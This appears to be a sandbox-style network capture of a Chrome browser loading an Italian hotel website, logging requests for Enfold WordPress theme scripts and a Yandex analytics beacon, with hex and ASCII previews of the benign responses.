140	192.168.2.16	49871	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	727	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:31 GMT Content-Type: text/javascript Content-Length: 706 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	706	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 74 65 73 74 69 6d 6f 6e 69 61 6c 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// testimonial shortcode javascript// -------------------------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.16	49872	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	560	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:31 GMT Content-Type: text/javascript Content-Length: 8442 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	8442	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 41 76 69 61 63 63 6f 72 64 69 6f 6e 20 53 6c 69 64 65 73 68 6f 77 20 0a 2f 2f 20 0a 2f 2f 20 61 63 63 6f 72 64 69 6f 6e 20 73 6c 69 64 65 72 20 73 63 72 69 70 74 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){"use strict";// -------------------------------------------------------------------------------------------// Aviaccordion Slideshow // // accordion slider script// ---------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.16	49870	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	546	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:31 GMT Content-Type: text/javascript Content-Length: 23077 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	16107	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 0a 2f 2f 20 41 56 49 41 20 56 49 44 45 4f 20 41 50 49 20 2d 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 79 6f 75 74 75 62 65 2c 20 76 69 6d 65 6f 20 61 6e 64 20 68 74 6d 6c 20 35 20 75 73 65 20 74 68 65 20 73 61 6d 65 20 69 6e 74 65 72 66 61 63 65 0a 2f 2f 20 0a 2f 2f 20 72 65 71 75 69 72 65 73 20 66 72 6f 6f 67 61 6c 6f 6f 70 20 76 69 6d 65 6f 20 6c 69 62 72 61 72 79 20 61 6e 64 20 79 6f 75 74 75 62 65 20 69 66 72 61 6d 65 20 61 70 69 20 28 79 74 20 63 61 6e 20 Data Ascii: // -------------------------------------------------------------------------------------------// // AVIA VIDEO API - make sure that youtube, vimeo and html 5 use the same interface// // requires froogaloop vimeo library and youtube iframe api (yt can
2025-01-09 12:19:31 UTC	6970	IN	Data Raw: 63 74 69 6f 6e 20 77 68 65 6e 20 74 68 65 20 6d 65 74 68 6f 64 20 72 65 74 75 72 6e 73 20 61 20 76 61 6c 75 65 2e 0a 20 20 20 20 20 20 20 20 20 2a 2f 0a 20 20 20 20 20 20 20 20 61 70 69 3a 20 66 75 6e 63 74 69 6f 6e 28 6d 65 74 68 6f 64 2c 20 76 61 6c 75 65 4f 72 43 61 6c 6c 62 61 63 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 74 68 69 73 2e 65 6c 65 6d 65 6e 74 20 7c 7c 20 21 6d 65 74 68 6f 64 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 73 65 6c 66 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 20 3d 20 73 65 6c 66 2e 65 6c 65 6d 65 6e Data Ascii: ction when the method returns a value. */ api: function(method, valueOrCallback) { if (!this.element \|\| !method) { return false; } var self = this, element = self.elemen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.16	49873	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	562	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:31 GMT Content-Type: text/javascript Content-Length: 5625 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	5625	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 46 75 6c 6c 73 63 72 65 65 6e 20 53 6c 69 64 65 73 68 6f 77 20 0a 2f 2f 20 0a 2f 2f 20 65 78 74 65 6e 64 73 20 61 76 69 61 20 73 6c 69 64 65 73 68 6f 77 20 73 63 72 69 70 74 20 77 69 74 68 20 61 20 6d 6f 72 65 20 73 6f 70 68 69 73 74 69 63 61 74 65 64 20 70 72 65 6c 6f 61 64 65 72 20 61 6e 64 20 66 69 78 65 64 20 73 69 7a 65 20 66 6f 72 20 73 6c 69 64 65 72 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: // -------------------------------------------------------------------------------------------// Fullscreen Slideshow // // extends avia slideshow script with a more sophisticated preloader and fixed size for slider// ---------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.16	49876	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	719	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:31 GMT Content-Type: text/javascript Content-Length: 6521 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	6521	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 41 76 69 61 20 54 69 6d 65 6c 69 6e 65 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 24 28 77 69 6e 64 6f 77 Data Ascii: // -------------------------------------------------------------------------------------------// Avia Timeline// -------------------------------------------------------------------------------------------(function($) { "use strict"; $(window

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.16	49877	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	717	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:31 GMT Content-Type: text/javascript Content-Length: 4724 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	4724	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 54 6f 67 67 6c 65 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 Data Ascii: // -------------------------------------------------------------------------------------------// Toggle shortcode javascript// -------------------------------------------------------------------------------------------(function($){ "use strict";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.16	49875	93.158.134.119	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	1957	OUT	GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A715124884331%3Ahid%3A1009997951%3Az%3A-300%3Ai%3A20250109071926%3Aet%3A1736425167%3Ac%3A1%3Arn%3A645420672%3Arqn%3A1%3Au%3A1736425167496978039%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15316%3Awv%3A2%3Ads%3A80%2C702%2C439%2C117%2C799%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1736425147384%3Arqnl%3A1%3Ast%3A1736425168%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr%2814%29clc%280-0-0%29rqnt%281 [TRUNCATED] Host: mc.yandex.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168; yabs-sid=1132875371736425169; yuidss=4861718441736425168; ymex=1767961169.yrts.1736425169; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi
2025-01-09 12:19:31 UTC	720	IN	HTTP/1.1 200 Ok Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Content-Length: 539 Content-Type: application/json; charset=utf-8 Date: Thu, 09 Jan 2025 12:19:31 GMT Expires: Thu, 09-Jan-2025 12:19:31 GMT Last-Modified: Thu, 09-Jan-2025 12:19:31 GMT Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2025-01-09 12:19:31 UTC	539	IN	Data Raw: 7b 22 73 65 74 74 69 6e 67 73 22 3a 7b 22 61 75 74 6f 5f 67 6f 61 6c 73 22 3a 30 2c 22 62 75 74 74 6f 6e 5f 67 6f 61 6c 73 22 3a 30 2c 22 63 5f 72 65 63 70 22 3a 22 31 2e 30 30 30 30 30 22 2c 22 66 6f 72 6d 5f 67 6f 61 6c 73 22 3a 30 2c 22 70 63 73 22 3a 22 31 22 2c 22 77 65 62 76 69 73 6f 72 22 3a 7b 22 61 72 63 68 5f 74 79 70 65 22 3a 22 6e 6f 6e 65 22 2c 22 64 61 74 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 32 20 30 31 3a 32 38 3a 32 35 22 2c 22 66 6f 72 6d 73 22 3a 31 2c 22 72 65 63 70 22 3a 22 31 2e 30 30 30 30 30 22 7d 2c 22 73 62 70 22 3a 20 7b 22 61 22 3a 22 4b 65 51 6f 36 39 62 4c 77 45 78 6d 6a 79 71 48 31 49 52 78 50 32 46 53 72 6c 53 49 43 31 72 53 63 53 69 47 37 4b 63 56 63 67 57 33 76 6b 70 4d 45 38 43 62 50 6e 6b 48 51 33 59 79 36 54 51 64 22 Data Ascii: {"settings":{"auto_goals":0,"button_goals":0,"c_recp":"1.00000","form_goals":0,"pcs":"1","webvisor":{"arch_type":"none","date":"2024-12-22 01:28:25","forms":1,"recp":"1.00000"},"sbp": {"a":"KeQo69bLwExmjyqH1IRxP2FSrlSIC1rScSiG7KcVcgW3vkpME8CbPnkHQ3Yy6TQd"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.16	49874	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:31 UTC	713	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:31 GMT Content-Type: text/javascript Content-Length: 672 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	672	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 0a 09 24 28 27 62 6f 64 79 27 29 2e 6f 6e 28 27 63 6c 69 63 6b 27 2c 27 2e 61 76 2d 6c 61 7a 79 6c 6f 61 64 2d 76 69 64 65 6f 2d 65 6d 62 65 64 20 2e 61 76 2d 63 6c 69 63 6b 2d 74 6f 2d 70 6c 61 79 2d 6f 76 65 72 6c 61 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 0a 09 09 0a 09 09 69 66 28 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 6d 61 74 63 68 28 2f 61 76 69 61 50 72 69 76 61 63 79 56 69 64 65 6f 45 6d 62 65 64 73 44 69 73 61 62 6c 65 64 2f 29 29 0a 09 09 7b 0a 09 09 09 69 66 20 28 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 20 3d 3d 3d 20 75 6e 64 65 66 69 6e 65 64 29 20 72 65 74 75 72 6e 3b 20 2f 2f 68 75 6d 61 6e 20 63 6c 69 63 6b 20 6f 6e 6c Data Ascii: (function($){ "use strict";$('body').on('click','.av-lazyload-video-embed .av-click-to-play-overlay', function(e){if(document.cookie.match(/aviaPrivacyVideoEmbedsDisabled/)){if (e.originalEvent === undefined) return; //human click onl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.16	49878	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:31 UTC	564	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:31 GMT Content-Type: text/javascript Content-Length: 849 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	849	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 09 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 6d 61 6b 65 73 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 66 69 78 65 64 20 63 6f 6e 74 61 69 6e 65 72 20 68 65 69 67 68 74 20 69 73 20 72 65 6d 6f 76 65 64 20 6f 6e 63 65 20 74 68 65 20 6c 61 79 65 72 73 6c 69 64 65 72 20 69 73 20 6c 6f 61 64 65 64 2c 20 73 6f 20 69 74 20 61 64 61 70 74 73 20 74 6f 20 74 68 65 20 73 63 72 65 65 6e 20 72 65 73 6f 6c 75 74 69 6f 6e 0a 2f 2f Data Ascii: (function($){"use strict";// -------------------------------------------------------------------------------------------// makes sure that the fixed container height is removed once the layerslider is loaded, so it adapts to the screen resolution//

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
